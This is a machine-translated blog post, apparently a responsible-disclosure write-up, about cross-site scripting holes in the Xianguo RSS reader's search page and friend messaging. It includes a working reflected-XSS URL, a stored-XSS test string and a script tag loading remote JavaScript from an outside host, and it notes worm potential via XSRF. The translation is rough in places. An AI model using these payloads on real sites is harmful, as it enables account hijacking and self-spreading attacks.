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Xss bug of fresh fruit RSS

Source: Internet
Author: User
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Author: cnryan

Fresh fruit RSS is the main platform for reading information. It is used every day. Therefore, its filter also has a vulnerability.


1. reflective xss @ Search Engine

Fresh fruit Search Engine
Http://xianguo.com/search? SearchType = 11 & keyword = "> <script> alert (111) </script> <

2. Receiving xss @ friends sending and receiving


Test code:
<XSS00> SBSB

From firebug, You can see <tag> translate to <tag> </Tag>
Single quotes are filtered

Double quotation marks are also filtered"


Inject script,


The sender can construct a malicious address. iframe is a harmful page.

The most threatening is the ability to load and call remote JS
<Script src = http://hi.cnryan.com/3.js>

The friend information exchange system uses XSRF under certain conditions, such as adding a blog channel's rss, or even spreading it as xss worm.

The BUG submitted yesterday, fresh fruit also responded quickly and has been fixed.

This article is an English version of an article which is originally in the Chinese language on aliyun.com and is provided for information purposes only. This website makes no representation or warranty of any kind, either expressed or implied, as to the accuracy, completeness ownership or reliability of the article or any translations thereof. If you have any concerns or complaints relating to the article, please send an email, providing a detailed description of the concern or complaint, to info-contact@alibabacloud.com. A staff member will contact you within 5 working days. Once verified, infringing content will be removed immediately.

Related Keywords:
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